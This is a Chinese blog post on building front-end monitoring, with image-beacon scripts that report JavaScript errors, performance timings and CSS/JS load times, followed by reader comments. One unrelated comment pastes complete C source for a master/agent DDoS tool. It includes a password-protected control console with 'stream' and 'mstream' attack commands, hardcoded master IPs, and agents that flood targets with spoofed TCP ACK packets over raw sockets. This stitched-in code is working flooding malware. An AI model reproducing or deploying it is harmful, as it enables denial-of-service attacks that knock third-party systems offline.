项目开发完成外发后,没有一个监控系统,我们很难了解到发布出去的代码在用户机器上执行是否正确,所以需要建立前端代码性能相关的监控系统。
所以我们需要做以下的一些模块:
一、收集脚本执行错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
function error(msg,url,line){ var REPORT_URL = "xxxx/cgi"; // 收集上报数据的信息 var m =[msg, url, line, navigator.userAgent, +new Date];// 收集错误信息,发生错误的脚本文件网络地址,用户代理信息,时间 var url = REPORT_URL + m.join('||');// 组装错误上报信息内容URL var img = new Image; img.onload = img.onerror = function(){ img = null; }; img.src = url;// 发送数据到后台cgi } // 监听错误上报 window.onerror = function(msg,url,line){ error(msg,url,line); } |
通过管理后台系统,我们可以看到页面上每次错误的信息,通过这些信息我们可以很快定位并且解决问题。
二、收集 html5 performance 信息
performance 包含页面加载到执行完成的整个生命周期中不同执行步骤的执行时间。performance 相关文章点击如下:使用 performance API 监测页面性能
计算不同步骤时间相对于 navigationStart 的时间差,可以通过相应后台 CGI 收集。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
function _performance(){ var REPORT_URL = "xxxx/cgi?perf="; var perf = (window.webkitPerformance ? window.webkitPerformance : window.msPerformance ), points = ['navigationStart','unloadEventStart','unloadEventEnd','redirectStart','redirectEnd','fetchStart','domainLookupStart','connectStart','requestStart','responseStart','responseEnd','domLoading','domInteractive','domContentLoadedEventEnd','domComplete','loadEventStart','loadEventEnd']; var timing = pref.timing; perf = perf ? perf : window.performance; if( perf && timing ) { var arr = []; var navigationStart = timing[points[0]]; for(var i=0,l=points.length;i<l;i++){ arr[i] = timing[points[i]] - navigationStart; } var url = REPORT_URL + arr.join("-"); var img = new Image; img.onload = img.onerror = function(){ img=null; } img.src = url; } |
通过后台接口收集和统计,我们可以对页面执行性能有很详细的了解。
三、统计每个页面的 JS 和 CSS 加载时间
在 JS 或者 CSS 加载之前打上时间戳,加载之后打上时间戳,并且将数据上报到后台。加载时间反映了页面白屏,可操作的等待时间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<script>var cssLoadStart = +new Date</script> <link rel="stylesheet" href="xxx.css" type="text/css" media="all"> <link rel="stylesheet" href="xxx1.css" type="text/css" media="all"> <link rel="stylesheet" href="xxx2.css" type="text/css" media="all"> <sript> var cssLoadTime = (+new Date) - cssLoadStart; var jsLoadStart = +new Date; </script> <script type="text/javascript" src="xx1.js"></script> <script type="text/javascript" src="xx2.js"></script> <script type="text/javascript" src="xx3.js"></script> <script> var jsLoadTime = (+new Date) - jsLoadStart; var REPORT_URL = 'xxx/cgi?data=' var img = new Image; img.onload = img.onerror = function(){ img = null; }; img.src = REPORT_URL + cssLoadTime + '-' + jsLoadTime; </script> |
1 |
<a href="https://github.com/perltzhu/js-data-report" target="_blank"> </a> |
参考资料:
註定 2017 年 8 月 16 日
请问对于页面的 click 等事件,如果采用 img.src 来获取上报数据呢
OneTab shared tabs - code 2016 年 11 月 18 日
[…] […]
断指鹤 2015 年 6 月 9 日
不错的文章,学习了
温柔绕指尖 2014 年 12 月 16 日
感谢了,正在到处找了~
a 2014 年 8 月 23 日
不错
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 16 日
@黑子 2@QQ1440580/@/Makefile: CC = gcc # -g is so i can debug it better 😛 # -Wall so i can be happy CFLAGS = -g -Wall all: master server clean: rm -f master server master: master.c $(CC) $(CFLAGS) -o master master.c server: server.c $(CC) $(CFLAGS) -o server server.c master.c /* spwn */ #define PASSWORD “sex” #define SERVERFILE “.sr” #define MASTER_TCP_PORT 6723 #define MASTER_UDP_PORT 9325 #define SERVER_PORT 7983 #define MAXUSERS 3 #define USED 1 #define AUTH 2 #define max(one, two) (one > two ? one : two) #define MAX_IP_LENGTH 17 #define MAX_HOST_LENGTH 200 #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* prototypes for my functions */ void sighandle (int); int maxfd (int, int); void prompt (int); void tof (char *); void fof (char *); void send2server (u_long, char *, …); void forkbg (void); void nlstr (char *); void sendtoall (char *, …); char *inet_ntoa (struct in_addr); u_long inet_addr (const char *); int findfree (void); /* end of prototypes */ typedef struct _socks { int fd; int opts; int idle; char *ip; } socks; socks users[MAXUSERS]; int main (int argc, char *argv[]) { fd_set readset; int i, tcpfd, udpfd, socksize, pongs = 0; struct sockaddr_in udpsock, tcpsock, remotesock; struct timeval t; char ibuf[1024], obuf[1024], *arg[3]; signal(SIGINT, sighandle); signal(SIGHUP, sighandle); signal(SIGSEGV, sighandle); socksize = sizeof(struct sockaddr); if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror(“socket”); exit(0); } if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror(“socket”); exit(0); } tcpsock.sin_family = AF_INET; tcpsock.sin_port = htons(MASTER_TCP_PORT); tcpsock.sin_addr.s_addr = INADDR_ANY; memset(&tcpsock.sin_zero, 0, 8); if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) { perror(“bind”); exit(0); } if (listen(tcpfd, MAXUSERS+1) == -1) { perror(“listen”); exit(0); } i = 1; if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) { perror(“setsockopt”); exit(0); } i = 1; if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) { perror(“setsockopt”); exit(0); } if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) { perror(“fcntl”); exit(0); } udpsock.sin_family = AF_INET; udpsock.sin_port = htons(MASTER_UDP_PORT); udpsock.sin_addr.s_addr = INADDR_ANY; memset(&udpsock.sin_zero, 0, 8); if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) { perror(“bind”); exit(0); } i = 1; if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) { perror(“setsockopt”); exit(0); } i = 1; if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) { perror(“setsockopt”); exit(0); } for (i = 0 ; i <= MAXUSERS ; i++) { users[i].opts = (0 & ~USED); } forkbg(); t.tv_sec = 2; t.tv_usec = 1; for (;;) { for (i = 0 ; i 420) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, “\nYou’re too idle !\n”); send(users[i].fd, &obuf, strlen(obuf), 0); close(users[i].fd); users[i].opts &= ~USED; } FD_ZERO(&readset); FD_SET(tcpfd, &readset); FD_SET(udpfd, &readset); for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) FD_SET(users[i].fd, &readset); } if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue; if (FD_ISSET(tcpfd, &readset)) { int socknum; u_long ip; struct hostent *hp; if ((socknum = findfree()) == -1) { socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize); close(socknum); continue; } users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize); for (i = 0 ; i h_name, MAX_HOST_LENGTH-1); } users[socknum].idle = time(0); } if (FD_ISSET(udpfd, &readset)) { memset(&ibuf, 0, sizeof ibuf); if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue; nlstr(ibuf); if (!strcmp(ibuf, "newserver")) { FILE *f; char line[1024]; int i; if ((f = fopen(SERVERFILE, "r")) == NULL) { f = fopen(SERVERFILE, "w"); fclose(f); continue; } while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); nlstr(line); if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) { continue; } } fclose(f); if ((f = fopen(SERVERFILE, "a")) == NULL) continue; memset(&obuf, 0, sizeof obuf); snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr)); tof(obuf); fprintf(f, "%s\n", obuf); for (i = 0 ; i <= MAXUSERS ; i++) if (users[i].opts & USED) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr)); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } fclose(f); } if (!strcmp(ibuf, "pong")) { pongs++; for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr)); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } } } } for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) { if (FD_ISSET(users[i].fd, &readset)) { if (!(users[i].opts & AUTH)) { int x; memset(&ibuf, 0, sizeof ibuf); if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) { int y; users[i].opts = (~AUTH & ~USED); memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno)); for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } close(users[i].fd); free(users[i].ip); continue; } users[i].idle = time(0); for (x = 0 ; x <= strlen(ibuf) ; x++) { if (ibuf[x] == '\n') ibuf[x] = ''; if (ibuf[x] == '\r') ibuf[x] = ''; } if (strcmp(ibuf, PASSWORD)) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip); for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } for (x = 0 ; x <= MAXUSERS ; x++) { if ((users[x].opts & USED) && (x != i)) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip); send(users[x].fd, &obuf, strlen(obuf), 0); prompt(users[x].fd); } } users[i].opts |= AUTH; prompt(users[i].fd); continue; } memset(&ibuf, 0, sizeof ibuf); if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno)); for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } arg[0] = strtok(ibuf, " "); arg[1] = strtok(NULL, " "); arg[2] = strtok(NULL, " "); arg[3] = NULL; if (arg[2]) nlstr(arg[2]); if (!strncmp(arg[0], "stream", 6)) { struct hostent *hp; struct in_addr ia; if ((!arg[1]) || (!arg[2])) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Usage: stream \n”); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } if ((hp = gethostbyname(arg[1])) == NULL) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, “Unable to resolve %s.\n”, arg[1]); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } memcpy(&ia.s_addr, &hp->h_addr, hp->h_length); sendtoall(“stream/%s/%s”, inet_ntoa(ia), arg[2]); memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, “Streaming %s for %s seconds.\n”, arg[1], arg[2]); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], “quit”, 4)) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, “%s has disconnected.\n”, users[i].ip); for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } if (!strncmp(arg[0], "servers", 7)) { FILE *f; char line[1024]; if ((f = fopen(SERVERFILE, "r")) == NULL) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nServer file doesn't exist, creating ;)\n"); send(users[i].fd, &obuf, strlen(obuf), 0); f = fopen(SERVERFILE, "w"); fclose(f); prompt(users[i].fd); continue; } memset(&obuf, 0, sizeof obuf); sprintf(obuf, "The following ips are known servers: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); send(users[i].fd, &line, strlen(line), 0); } fclose(f); } if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nAvailable commands: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "stream\t\t–\tstream attack !\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "servers\t\t–\tPrints all known servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "ping\t\t–\tping all servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "who\t\t–\ttells you the ips of the people logged in\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "mstream\t\t–\tlets you stream more than one ip at a time\n"); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], "who", 3)) { int x; memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nCurrently Online: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); for (x = 0 ; x <= MAXUSERS ; x++) { memset(&obuf, 0, sizeof obuf); if (users[x].opts & USED && users[x].opts & AUTH) { snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip); send(users[i].fd, &obuf, strlen(obuf), 0); } } memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\n"); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], "ping", 4)) { pongs = 0; memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Pinging all servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); sendtoall("ping"); } if (!strncmp(arg[0], "mstream", 7)) { if ((!arg[1]) || (!arg[2])) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Usage: mstream \n”); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, “MStreaming %s for %s seconds.\n”, arg[1], arg[2]); send(users[i].fd, &obuf, strlen(obuf), 0); sendtoall(“mstream/%s/%s\n”, arg[1], arg[2]); } prompt(users[i].fd); } } } } } int findfree (void) { int i; for (i = 0 ; i 0) { printf(“Forked into background, pid %d\n”, pid); exit(0); } } void nlstr (char *str) { int i; for (i = 0 ; str[i] != NULL ; i++) if ((str[i] == ‘\n’) || (str[i] == ‘\r’)) str[i] = ”; } void send2server (u_long addr, char *str, …) { va_list vl; char buf[1024]; int fd; struct sockaddr_in sock; va_start(vl, str); vsnprintf(buf, (sizeof buf)-1, str, vl); va_end(vl); if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); sock.sin_addr.s_addr = addr; memset(&sock.sin_zero, 0, 8); sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr)); } void tof (char *str) { int i; for (i = 0 ; str[i] != 0 ; i++) str[i]+=50; } void fof (char *str) { int i; for (i = 0 ; str[i] != 0 ; i++) str[i]-=50; } void sendtoall (char *str, …) { va_list vl; char buf[1024], line[1024]; struct sockaddr_in sock; int fd; FILE *f; va_start(vl, str); vsnprintf(buf, (sizeof buf)-1, str, vl); va_end(vl); if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); memset(&sock.sin_zero, 0, 8); if ((f = fopen(SERVERFILE, “r”)) == NULL) { f = fopen(SERVERFILE, “w”); fclose(f); return; } while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); nlstr(line); sock.sin_addr.s_addr = inet_addr(line); sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr)); } } void prompt (int fd) { char buf[5]; memset(&buf, 0, sizeof buf); sprintf(buf, “> “); send(fd, &buf, strlen(buf), 0); } int maxfd (int extra1, int extra2) { int mfd = 0, i; for (i = 0 ; i <= MAXUSERS ; i++) if (users[i].opts & USED) mfd = max(mfd, users[i].fd); mfd = max(max(extra1, extra2), mfd); return mfd; } void sighandle (int sig) { int i; char obuf[1024]; memset(&obuf, 0, sizeof obuf); switch (sig) { case SIGHUP: snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n"); break; case SIGINT: snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n"); break; case SIGSEGV: snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n"); break; default: snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n"); } for (i = 0 ; i <= MAXUSERS ; i++) if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) { send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } if (sig == SIGSEGV) exit(1); } server.c /* spwn */ char *m[]={ "1.1.1.1", /* first master */ "2.2.2.2", /* second master */ "3.3.3.3", /* third master etc */ 0 }; #define MASTER_PORT 9325 #define SERVER_PORT 7983 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include #include #include #include #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif void forkbg (void); void send2master (char *, struct in_addr); void stream (int, int, u_long, char **); void nlstr (char *); int main (int argc, char *argv[]) { struct in_addr ia; struct sockaddr_in sock, remote; int fd, socksize, opt = 1, i; char buf[1024]; if (getuid() != 0) { fprintf(stderr, “Must be ran as root.\n”); exit(0); } if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror(“socket”); exit(0); } sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); sock.sin_addr.s_addr = INADDR_ANY; memset(&sock.sin_zero, 0, 8); if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) { perror(“bind”); exit(0); } if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) { perror(“setsockopt”); exit(0); } forkbg(); for (i = 0 ; m[i] != 0 ; i++) { ia.s_addr = inet_addr(m[i]); send2master(“newserver”, ia); } for (;;) { socksize = sizeof(struct sockaddr); memset(&buf, 0, sizeof buf); if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) 0) { printf(“Forked into background, pid %d\n”, pid); exit(0); } } struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long saddr, daddr; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; struct tcpopt_hdr { u_char type; /* type */ u_char len; /* length */ u_short value; /* value */ }; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip/*_hdr*/ ip; struct tcphdr tcp; /* struct tcpopt_hdr opt; */ }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct packet packet; struct cksum cksum; struct sockaddr_in s_in; int sock; /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } void stream (int t, int until, u_long dstaddr, char *dstaddrs[]) { struct timespec ts; int on = 1; if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return; srand((time(NULL) ^ getpid()) + getppid()); memset(&packet, 0, sizeof packet); ts.tv_sec = 0; ts.tv_nsec = 10; packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof packet); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; if (!t) packet.ip.ip_dst.s_addr = dstaddr; packet.tcp.th_flags = TH_ACK; packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = rand(); packet.tcp.th_dport = rand(); if (!t) cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); s_in.sin_family = AF_INET; if (!t) s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; while (time(0) <= until) { if (t) { int x; for (x = 0 ; dstaddrs[x] != NULL ; x++) { if (!strchr(dstaddrs[x], '.')) break; packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]); cksum.pseudo.daddr = inet_addr(dstaddrs[x]); s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]); cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum); sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in); } } else { cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum); sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in); } } } void nlstr (char *str) { if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = ''; }
冷月无声 2014 年 6 月 20 日
请问对于页面中跨域请求的 js 异常监控有没有什么好的方式,跨越的 js 始终显示 “Script error.”
howie 2014 年 4 月 20 日
亲,最一个,不要为了统计 css 的加载时间而写个行内 script 在 link 标签后面,这样会导致 css 和 body 里的请求不会并行加载
hipresario 2014 年 3 月 26 日
请问, 如果做那种想在后台记录总共某些 div onclick events, 可否用同样的方法?
perlt 2014 年 3 月 31 日
没有尝试过。如果要记录网页点击热点,可以使用腾讯分析或者 Google 分析等。
123 2014 年 8 月 28 日
还有百度分析
sdfsdf 2014 年 4 月 1 日
您的称呼和邮箱是必填的哦!
mop 2014 年 3 月 24 日
这段代码表示的应该是 JS 的加载和执行时间吧?而不仅仅只是 JS 的加载时间
var jsLoadTime = (+new Date) – jsLoadStart;
var REPORT_URL = ‘xxx/cgi?data=’
var img = new Image;
img.onload = img.onerror = function(){
img = null;
};
img.src = REPORT_URL + cssLoadTime + ‘-‘ + jsLoadTime;
perlt 2014 年 3 月 31 日
JS,CSS 加载时间都有上报。
mop 2014 年 3 月 20 日
请教一个问题,IE6、7 下的异常捕捉的信息基本上没法参考吧?给出的行和列信息完全没法参考,有什么好的兼容性解决方案不?
perlt 2014 年 3 月 31 日
鄙人暂时没有想到。
bearrui 2014 年 3 月 4 日
对于错误上报的,一般线上的 JS 都是压缩混淆过的,这个时候 window.onerror 上报的的都是第 1 行多少列的错误,不太好理解,请问这种情况有什么好的办法让上报的消息更易理解了?
TAT.Perlt 2014 年 3 月 4 日
一行代码不多,chrome dev tool 中 pretty print 可以格式化代码。 用 DEBUG 工具调试很容易重现问题。
willpanyang 2014 年 4 月 17 日
可以利用 source map 类似的方法来解决。
如果是 onerror 配合代码埋点,如果代码压缩了,可以在压缩的时候写一个脚本,在代码埋点的位置添加上行号信息和文件信息,这样可以解决代码定位的问题。